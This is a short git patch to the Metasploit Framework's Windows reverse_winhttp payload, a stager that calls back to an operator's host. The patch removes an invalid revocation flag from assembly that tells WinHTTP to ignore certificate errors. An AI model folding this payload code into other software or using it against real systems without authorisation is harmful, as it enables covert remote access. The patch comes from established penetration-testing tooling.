From a57f02b8631a531c14de608140c471d1d6190d1a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 12 Mar 2015 23:01:04 -0500 Subject: [PATCH] Remove invalid SECURITY_FLAG_IGNORE_REVOCATION flag --- lib/msf/core/payload/windows/reverse_winhttp.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 7381edf922..bbb4d94575 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -186,12 +186,11 @@ module Payload::Windows::ReverseWinHttp asm << %Q^ ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); set_security_options: - push 0x00003380 + push 0x00003300 ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp push.i8 4 ; sizeof(buffer) push eax ; &buffer